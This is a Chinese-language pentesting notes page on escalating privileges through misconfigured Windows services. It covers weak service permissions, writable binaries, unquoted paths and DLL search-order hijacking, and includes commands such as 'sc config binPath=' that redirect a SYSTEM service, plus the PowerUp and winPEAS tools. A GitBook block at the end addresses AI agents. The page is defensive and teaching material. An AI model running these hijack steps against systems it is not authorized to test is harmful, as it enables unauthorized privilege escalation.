> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/vulnerable-services-and-processes/windows-service-misconfigurations.md).

# Windows 服务配置错误

服务是最常见的 Windows 提权路径之一，因为它们通常以 `本地系统` 身份运行，同时指向普通用户可以影响的文件或权限。

## 需要确认什么

在更改任何内容之前，请确认以下四点：

* 该服务以具有特权的账户运行，例如 `本地系统`, `本地服务`, `网络服务`，或者本地/域管理员。
* 你可以修改服务配置、服务可执行文件，或启动期间使用的父路径。
* 你可以重启服务、触发应用程序，或等待重启。
* 路径和架构要与您打算运行的 payload 或验证二进制文件匹配。

## 枚举服务

```cmd
sc query state= all
sc qc <service_name>
sc sdshow <service_name>
wmic service get name,displayname,startname,state,pathname
```

```powershell
Get-WmiObject Win32_Service |
  Select-Object Name,StartName,State,PathName |
  Sort-Object StartName,Name
```

## 弱服务配置

如果你的用户可以更改服务二进制路径，并且该服务以高权限运行，先把它指向一个经过授权的验证命令。

```cmd
sc qc <service_name>
sc config <service_name> binPath= "cmd /c whoami > C:\Windows\Temp\svc-check.txt"
sc stop <service_name>
sc start <service_name>
type C:\Windows\Temp\svc-check.txt
```

AccessChk 对于以更清晰的格式读取服务权限很有用：

```cmd
accesschk.exe /accepteula -uwcqv <user_or_group> <service_name>
accesschk.exe /accepteula -uwcqv "已验证的用户" *
```

有价值的权限包括 `SERVICE_CHANGE_CONFIG`, `SERVICE_START`, `SERVICE_STOP`，以及对以下对象的广泛写入权限： `Users`, `已验证的用户`，或 `所有人`.

## 可写的服务二进制文件

如果服务可执行文件可写，请保留原文件副本，只在测试范围内替换，并在测试后恢复。

```cmd
sc qc <service_name>
icacls "C:\Path\To\Service.exe"
copy "C:\Path\To\Service.exe" C:\Windows\Temp\Service.exe.bak
```

```powershell
Get-Acl "C:\Path\To\Service.exe" | Format-List
```

## 未加引号的服务路径

当路径包含空格，并且 Windows 在到达真实可执行文件之前会搜索一个可写的父目录时，未加引号的路径就很有价值。

```cmd
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
```

易受攻击的示例形态：

```
C:\Program Files\Vendor App\Service Folder\service.exe
```

检查每个父目录的写权限：

```cmd
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
```

可能被搜索的名称包括：

```
C:\Program.exe
C:\Program Files\Vendor.exe
C:\Program Files\Vendor App\Service.exe
```

## DLL 搜索顺序问题

某些服务按名称而不是完整路径加载 DLL。当在合法 DLL 位置之前搜索到了一个可写目录时，这就可能被利用。

```cmd
procmon.exe
```

筛选条件：

```
进程名称为 <service.exe>
结果为 NAME NOT FOUND
路径以 .dll 结尾
```

## 自动化检查

```powershell
Import-Module .\PowerUp.ps1
Invoke-AllChecks
```

```cmd
winPEASx64.exe servicesinfo
```

## 清理

```cmd
sc config <service_name> binPath= "<original_binary_path>"
sc start <service_name>
del C:\Windows\Temp\svc-check.txt
```

## 关键要点

* 只有当服务以更高权限执行时，可写服务才有用。
* 重启能力很重要。如果没有重启能力，请注意是否需要通过重启或使用应用程序来触发该服务。
* 服务路径的发现结果应包括确切路径、权限证据、服务账户和触发条件。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/vulnerable-services-and-processes/windows-service-misconfigurations.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.